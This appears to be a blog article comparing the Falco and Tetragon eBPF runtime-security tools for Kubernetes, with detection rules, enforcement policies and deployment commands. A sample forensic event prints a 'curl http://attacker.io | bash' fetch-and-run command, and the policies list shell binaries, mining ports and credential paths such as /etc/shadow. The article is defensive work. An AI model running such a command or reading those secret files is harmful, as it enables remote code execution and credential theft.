Post cover image

July 14, 2026

Falco vs. Tetragon: Runtime Security for Kubernetes Compared

Both Falco and Tetragon instrument the Linux kernel with eBPF, both are CNCF projects, both protect Kubernetes workloads at runtime, and…

By Neel Shah

4 min read

Both Falco and Tetragon instrument the Linux kernel with eBPF, both are CNCF projects, both protect Kubernetes workloads at runtime, and both have enthusiastic production communities. From a distance they look like direct competitors. In practice they embody fundamentally different philosophies about what runtime security should accomplish — and understanding that philosophical divide is the only way to make an informed adoption decision.

Falco is a detection engine. It observes system calls, matches them against rules, generates structured alerts, and routes those alerts to wherever your security team looks. It is the auditor: comprehensive, low-overhead, and excellent at generating the forensic record of what happened. Tetragon is an enforcement engine. It observes the same system calls, but it can act directly in-kernel — killing a process before a malicious command executes, blocking a network connection before data exfiltrates, overriding a return value before a privilege escalation completes.

Detection without enforcement catches incidents after the damage is done. Enforcement without detection lacks the breadth to cover the full attack surface. This guide explains both tools in depth, benchmarks their performance, covers the specific scenarios where each excels, and describes the combined deployment architecture that most mature security teams run in 2026.

TL;DR

Run Falco cluster-wide for broad detection coverage with rich alerting. Add Tetragon with enforcement policies in your production and regulated namespaces. These tools are designed to complement each other — you lose significant value by choosing only one.

Architecture and Philosophy

None

Falco In Depth: The Detection Specialist

The rule composition model

Falco's rule engine uses three building blocks: lists (named sets of values), macros (reusable condition fragments), and rules (detection logic with output format and priority). This composition model produces maintainable, readable rules that non-security engineers can understand and extend.

# Macro: reusable condition fragment
- macro: container
  condition: (container.id != host)

- macro: shell_procs
  condition: proc.name in (sh, bash, zsh, dash, ksh)

# List: values referenced in conditions
- list: known_secret_readers
  items: [vault-agent, secrets-init, cert-manager-controller]

# Rule: compose macros and lists into detection logic
- rule: Shell Spawned in Container
  desc: A shell was spawned inside a running container
  condition: >
    spawned_process and container and
    shell_procs and proc.tty != 0
  output: >
    Shell in container (user=%user.name container=%container.name
    image=%container.image.repository cmd=%proc.cmdline
    pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: WARNING
  tags: [container, shell, MITRE_execution, T1059]

# Rule: detect cryptomining network connections
- rule: Outbound to Mining Pool
  condition: >
    outbound and container and
    (fd.sip.name in (known_mining_pool_ips) or
     fd.sport in (3333, 4444, 5555, 7777, 9999, 14444, 45700))
  output: >
    Cryptomining connection (container=%container.name
    dest=%fd.sip:%fd.sport pod=%k8s.pod.name)
  priority: CRITICAL

Falco Talon: automated response for high-confidence alerts

Falco Talon — reaching production stability in 2025–2026 — adds automated response actions to Falco's detection model. When a Falco rule fires above a configurable threshold, Talon executes a response: isolate the pod with a NetworkPolicy, delete it, post a structured notification, or invoke a custom webhook for integration with incident management systems.

# Falco Talon: auto-isolate pod on CRITICAL cryptomining detection
apiVersion: falco-talon.falco.org/v1alpha1
kind: ActionRule
metadata:
  name: isolate-cryptominer
spec:
  rules:
  - match:
      priority: critical
      tags: [crypto_mining]
    actions:
    - action: NetworkPolicy
      parameters:
        allow:
        - cidr: 10.0.0.0/8   # Block all non-internal traffic
    - action: Slack
      parameters:
        webhookUrl: ${SLACK_CRITICAL}
        message: CRITICAL cryptomining detected and pod isolated

Tetragon In Depth: The Enforcement Specialist

TracingPolicy: in-kernel enforcement

Tetragon's TracingPolicy CRD defines which kernel functions to probe, which conditions to evaluate, and what action to take when conditions match. Unlike Falco which processes events in userspace after they occur, Tetragon's eBPF programs run inside the kernel — a SIGKILL action terminates the process before the execve syscall even returns to userspace.

# TracingPolicy: prevent shell execution in production pods
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: block-shell-execution
spec:
  kprobes:
  - call: sys_execve
    syscall: true
    args:
    - index: 0
      type: string
    selectors:
    - matchNamespaces:
      - namespace: Pid
        operator: In
        values: [production]
      matchBinaries:
      - operator: In
        values:
        - /bin/sh
        - /bin/bash
        - /usr/bin/bash
        - /bin/zsh
        - /usr/bin/python3
      matchActions:
      - action: Sigkill

# TracingPolicy: detect and log sensitive file access
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: sensitive-file-access
spec:
  kprobes:
  - call: sys_openat
    syscall: true
    args:
    - index: 1
      type: string
    selectors:
    - matchPaths:
      - operator: Prefix
        values:
        - /etc/shadow
        - /etc/passwd
        - /root/.ssh/
        - /var/run/secrets/
      matchActions:
      - action: Post

Process tree visibility — forensics in every event

One of Tetragon's most operationally valuable features is the complete process execution chain included in every event. When malware executes inside a container, you see not just the malicious process but its full parent chain from the container entrypoint. This eliminates the log-correlation step that consumes significant investigation time in complex incidents.

# Example Tetragon process_exec event (simplified JSON):
{
  type: process_exec,
  process: {
    binary: /bin/sh,
    arguments: -c curl http://attacker.io | bash,
    parent: {
      binary: /usr/local/bin/python3,
      arguments: app.py,
      parent: {
        binary: /usr/bin/tini,
        parent: { binary: containerd-shim }
      }
    }
  },
  pod: { name: webapp-abc123, namespace: production },
  enforced: true,
  policy: block-shell-execution
}
# The full execution chain is in one event
# No log correlation needed to understand the attack path

Performance: Real Numbers

None

The Combined Architecture

Running both tools is not redundancy — it is complementary coverage. Falco provides broad detection coverage across all namespaces with a rich rule library built over years of community contributions. Tetragon provides surgical enforcement in your highest-risk namespaces where detection-only leaves an unacceptable window of opportunity for attackers.

Production combined deployment:

1. Falco: cluster-wide detection, all namespaces

helm install falco falcosecurity/falco \

— namespace falco — create-namespace \

— set driver.kind=ebpf \

— set falco.jsonOutput=true

2. Tetragon: cluster-wide install, selective enforcement

helm install tetragon cilium/tetragon — namespace kube-system

3. TracingPolicy with namespace-scoped enforcement

Enforce in production, detect-only in staging

spec:

selectors:

  • matchNamespaceSelector:

matchLabels:

security-tier: high # Label production namespaces

matchActions:

  • action: Sigkill # Kill in high-security namespaces

  • matchNamespaceSelector:

matchLabels:

security-tier: standard

matchActions:

  • action: Post # Log only in standard namespaces
None

DECISION

Start with Falco if you have no runtime security today — it is faster to value and has a larger rule community. Add Tetragon for namespaces where prevention matters more than detection: production services, PCI cardholder data environments, and namespaces running privileged workloads. The two tools are designed to coexist and provide genuinely complementary coverage.